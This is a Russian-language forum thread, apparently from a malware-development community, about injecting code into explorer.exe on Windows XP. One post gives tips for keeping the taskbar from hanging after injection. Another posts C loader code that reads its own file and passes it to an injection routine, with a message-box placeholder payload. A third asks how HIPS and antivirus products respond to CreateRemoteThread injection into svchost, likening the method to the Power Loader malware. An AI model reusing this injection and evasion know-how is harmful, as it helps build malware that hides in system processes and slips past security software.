Аналог RtlCreateUserThread

[TrashGen]

Так, и небольое дополнение(смарел на винХП), к момэнту вызова обработчека мессоджа USER+384 в эксплороре, ячейки d,[esi] ; d,[esi-4] указывают на два некоторых адреса один из которых в свою очередь будет вызваца как точка входа обработчека оконных сообщений и вся понель задач повиснет, например, нахрен. посему в кодесе полезной нагрузки на который мы передаем управление, добавляем обнуление данных ячеек для избежания зависания. на других сестемах чо там как я вам сказать не могу. на хп робит

 

[Objekt]

Под эксплорор было ж уже http://
en.pudn.com/
downloads508/
sourcecode/windows/
freedic/detail2112202_
en.html

залейте куда-нибудь плз, по возможности на sendspace
интересно что там

 

[demien]

int main(DWORD imgbase)
{
	HANDLE  	hf;
	DWORD  	hmem,dlen;
	LPDWORD  	cR;
	char    buff[256];
	char    buff2[256];
	LPFN_ISWOW64PROCESS fnIsWow64Process;
	BOOL  bIsWow64 = FALSE;


//int3
	if(NULL!=(fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"),"IsWow64Process")))
	{
  fnIsWow64Process(GetCurrentProcess(),&bIsWow64);
  if (FALSE == bIsWow64)
  {
  	GetWindowsDirectoryA(&buff,sizeof(buff));
  	lstrcatA(&buff,"\\explorer.exe");	
  	GetModuleFileNameA(NULL,&buff2,sizeof(buff2));
  	if (NULL != (lstrcmpiA(&buff,&buff2)))
  	{
    if (INVALID_HANDLE_VALUE != (hf = CreateFileA(&buff2,GENERIC_READ,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL)))
    {
    	dlen = GetFileSize(hf,NULL);
    	dlen = dlen+sizeof(DWORD);
    	hmem = VirtualAlloc(NULL,dlen,MEM_COMMIT,PAGE_READWRITE);
    	*(DWORD*)hmem = dlen-sizeof(DWORD);
    	ReadFile(hf,hmem+sizeof(DWORD),dlen-sizeof(DWORD),&cR,NULL);
    	InjExplorer(hmem); // тут из объектника op.obj дергается сам инжект с шк
    	VirtualFree(hmem,dlen,MEM_DECOMMIT);
    	CloseHandle(hf);
    }
  	}
  	else	///playload codezz///
  	{
    wsprintfA(&buff,"load image base: 0x%p",imgbase);
    MessageBoxA(NULL,&buff,"Hello Explorer Inject",MB_ICONINFORMATION);
    return(NULL);
  	}
  	ExitProcess(NULL);
  }
	}	
}

еще улыбает название структуры

HuitaKakayata	struc  	
var_20	dd	?  	
var_1C	dd	?  	
var_18	dd	?  	
var_14	dd	?  	
var_10	dd	?  	
var_C	dd	? 
HuitaKakayata	ends

как то так

 

[at0m]

demien
Ахуенный код просто ))))

 

[TrashGen]

А чо, норм кот, я гарантирую это

 

[Objekt]

такой вопрос к знающии: если из контекста explorer.exe сделать классический инжект через WriteProcessMemory / CreateRemoteThread в svchost.exe, какова будет реакция на это среднестатистической HIPS, того же Outpost или KIS? насколько такое действие им не понравится?

Ахуенный код просто ))))

:lol2:

InjExplorer(hmem); // тут из объектника op.obj дергается сам инжект с шк

залейте объектник или хотя бы дизасм листинг InjExplorer приложите, самого главного так и не видно же. техника случайно не таже, что у Power Loader?

 

[TrashGen]

суть та же